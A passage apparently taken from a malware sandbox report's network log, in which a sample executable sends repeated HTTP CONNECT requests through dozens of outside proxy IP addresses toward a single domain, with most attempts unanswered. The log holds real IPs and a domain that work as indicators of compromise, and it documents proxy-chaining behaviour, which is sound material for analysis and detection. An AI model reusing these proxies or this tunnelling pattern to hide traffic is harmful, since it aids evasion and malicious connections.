Feb 23, 2024 09:45:38.146912098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.740813971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834649086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.146931887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.381172895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.849961042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2122	192.168.2.4	51554	109.205.181.27	15737	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.621177912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.680879116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2123	192.168.2.4	51468	185.103.178.242	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.621212006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2124	192.168.2.4	51732	207.180.198.241	17228	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.621237040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2125	192.168.2.4	51753	88.245.138.87	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.773761988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2126	192.168.2.4	55201	115.171.217.48	7891	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.773875952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2127	192.168.2.4	54649	167.172.159.43	32988	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.806420088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.147023916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.504977942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.240784883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444329977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.646395922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.937012911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2128	192.168.2.4	55222	128.199.221.91	29603	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.901840925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.681277990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683639050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2129	192.168.2.4	55559	178.54.21.203	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.926323891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2130	192.168.2.4	51774	152.32.132.220	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.933846951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.975106001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2131	192.168.2.4	55300	107.180.103.214	45870	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.936892986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.975194931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2132	192.168.2.4	51743	51.68.164.77	5367	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.937287092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.975090981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.974925041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.990593910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.990669012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:14.146977901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2133	192.168.2.4	55337	199.187.210.54	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.937349081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2134	192.168.2.4	55392	104.37.135.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.944796085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2135	192.168.2.4	55549	1.27.226.210	8060	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.547462940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2136	192.168.2.4	55546	183.88.212.167	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.547657967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2137	192.168.2.4	55334	94.241.173.37	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.549330950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.115607023 CET	142	IN	HTTP/1.1 502 Bad Gateway Content-Type: text/plain Content-Length: 68 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3a 20 54 72 79 20 61 67 61 69 6e Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com: Try again

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2138	192.168.2.4	51910	103.159.66.61	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.912054062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2139	192.168.2.4	52028	192.99.37.195	49613	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.956880093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2140	192.168.2.4	54684	173.212.240.168	58854	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.959995985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.068924904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.084393978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.101366997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.100588083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2141	192.168.2.4	51996	41.111.243.134	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:38.960228920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.068856001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.084343910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.831017017 CET	98	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2142	192.168.2.4	55372	132.148.128.8	18401	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.285209894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834542990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293356895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2143	192.168.2.4	52032	128.199.5.121	55637	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.285307884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.300640106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.303020000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.303008080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.318643093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.404090881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2144	192.168.2.4	52099	178.33.167.180	64817	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.285310984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.300648928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.303016901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.303037882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.318742990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.404185057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2145	192.168.2.4	51759	103.147.246.23	8181	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.285465956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2146	192.168.2.4	51927	103.174.178.138	2010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.291522026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2147	192.168.2.4	52153	109.123.254.43	51584	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.298729897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.365631104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.365587950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.365506887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.365514994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2148	192.168.2.4	51947	207.180.234.220	47348	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.320265055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443670988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.443814993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.443661928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.443645954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.521785021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2149	192.168.2.4	52142	92.204.134.38	1555	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.325967073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443694115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.443814039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.443830967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.443661928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2150	192.168.2.4	52131	148.72.209.174	49816	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.331190109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.365648985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.365668058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.365588903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2151	192.168.2.4	52175	103.156.249.11	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.334654093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.366796017 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 09:45:41.411902905 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2152	192.168.2.4	52120	38.41.0.62	11201	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.335602045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443906069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2153	192.168.2.4	52143	94.131.14.66	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.337116003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.443886042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.443881035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.444259882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.443689108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.521785021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2154	192.168.2.4	55338	148.72.215.230	46945	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.355699062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2155	192.168.2.4	55560	193.239.58.92	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.356252909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2156	192.168.2.4	55421	198.27.82.143	9506	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.356440067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834534883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293243885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.147109985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2157	192.168.2.4	55580	104.20.75.31	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
